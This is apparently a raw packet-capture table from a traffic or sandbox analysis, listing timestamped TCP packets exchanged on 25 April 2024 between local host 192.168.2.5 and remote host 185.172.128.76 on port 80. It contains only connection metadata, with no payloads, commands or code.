Apr 25, 2024 21:47:54.744343996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744457006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744472027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744482040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744494915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744503021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744509935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744559050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744609118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744622946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744653940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744673014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744796038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744808912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744820118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744832039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744842052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744844913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744868994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744884014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.744970083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744982958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.744992971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745003939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745012999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745018005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745050907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745066881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745162010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745174885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745186090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745198965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745212078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745212078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745240927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745322943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745337009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745381117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745414972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745516062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745527983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745569944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745579004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745583057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.745599031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745599031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.745631933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951482058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951503038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951515913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951529980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951566935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951598883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951634884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951649904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951653004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951679945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951709986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951728106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951751947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951798916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951841116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951869965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951898098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951913118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951935053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.951939106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951967001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.951977015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952003956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952004910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952033043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952045918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952109098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952111959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952128887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952177048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952177048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952203989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952229023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952243090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952272892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952274084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952315092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952346087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952399015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952436924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952451944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952486038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952500105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952501059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952548981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952565908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952620029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952630043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952671051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952682018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952696085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952727079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952742100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952754021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952792883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952794075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952832937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952896118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952909946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952934980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952944040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.952948093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952963114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.952986002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953001022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953030109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953054905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953066111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953100920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953109026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953123093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953155994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953164101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953172922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953197956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953211069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953238964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953278065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953293085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953305960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953315973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953331947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953352928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953356028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953372955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953387022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953397036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953403950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953417063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953418970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953442097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953458071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953464031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953493118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953496933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953528881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953543901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953582048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953608036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953644991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953648090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953685999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953711033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953736067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953746080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953777075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953789949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953825951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953851938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953866005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953888893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953900099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953922033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953962088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.953964949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.953999996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954026937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954066038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954092026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954106092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954128981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954144955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954193115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954207897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954231024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954252958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954257011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954310894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954332113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954344988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954400063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954415083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954421997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954421997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954448938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954478025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954520941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954520941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954521894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954539061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954565048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954575062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954577923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954606056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954616070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954647064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954653978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954672098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954693079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954710007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954718113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954736948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954752922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954777956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:54.954811096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:54.954855919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.160806894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.160828114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.160890102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.160970926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161020041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161082983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161171913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161282063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161322117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161360025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161387920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161396980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161427021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161487103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161525965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161544085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161576986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161645889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161678076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161680937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161711931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161739111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161772013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161808968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161844969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161916971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.161952019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.161966085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162003040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162017107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162050962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162064075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162110090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162142992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162157059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162183046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162240028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162256956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162328005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162585020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162657976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.162828922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.162883997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163011074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163062096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163074970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163117886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163211107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163254976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163295031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163338900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163393021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163439989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163458109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163470984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163496017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163511992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163557053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163598061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163609028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163649082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163676977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163717985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163801908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163846970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163860083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163872957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163896084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163904905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163919926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163934946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.163943052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.163976908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164001942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164015055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164045095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164062023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164068937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164108038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164112091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164139986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164158106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164196014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164206028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164237976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164242983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164275885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164304018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164345980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164362907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164402962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164433002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164457083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164477110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164491892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164554119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164597988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164622068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164664984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164688110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164700985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164711952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164732933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164747953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164772034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164810896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164832115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164844990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164870024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164885044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164916039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164928913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164944887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.164966106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.164985895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165009022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165040970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165061951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165097952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165124893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165139914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165158033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165177107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165195942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165230989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165256977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165291071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165311098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165364027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165394068 CEST	80	49704	185.172.128.76	192.168.2.5
